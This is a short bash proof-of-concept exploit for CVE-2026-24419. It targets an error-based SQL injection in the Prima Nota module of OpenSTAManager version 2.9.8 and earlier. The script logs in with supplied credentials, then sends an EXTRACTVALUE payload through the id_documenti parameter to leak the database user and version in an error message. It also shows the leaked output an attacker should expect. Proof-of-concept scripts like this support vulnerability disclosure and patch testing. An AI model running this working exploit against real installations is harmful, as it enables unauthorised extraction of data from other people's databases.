#!/usr/bin/env bash
# CVE-2026-24419 - OpenSTAManager <= 2.9.8
# Error-Based SQL Injection in the Prima Nota (Journal Entry) module via the
# `id_documenti` GET parameter of /modules/primanota/add.php (unvalidated
# comma-separated values fed into a SQL IN() clause).
#
# Usage: ./poc_primanota_sqli.sh http://target:8081 admin admin

TARGET="${1:-http://localhost:8081}"
USER="${2:-admin}"
PASS="${3:-admin}"
COOKIES=/tmp/cookies_24419.txt

echo "[*] Step 1: Login"
curl -c "$COOKIES" -s -X POST "$TARGET/index.php?op=login" \
  -d "username=${USER}&password=${PASS}" -o /dev/null

echo "[*] Step 2: Error-based extraction of DB user + version via EXTRACTVALUE()"
curl -s -b "$COOKIES" \
  "$TARGET/modules/primanota/add.php?id_documenti=1)%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20CONCAT(USER(),'%20|%20',VERSION()))))%23"

echo
echo "[*] Expected response contains an XPATH syntax error leaking data, e.g.:"
echo "    SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~osm@172.18.0.3 | 8.3.0'"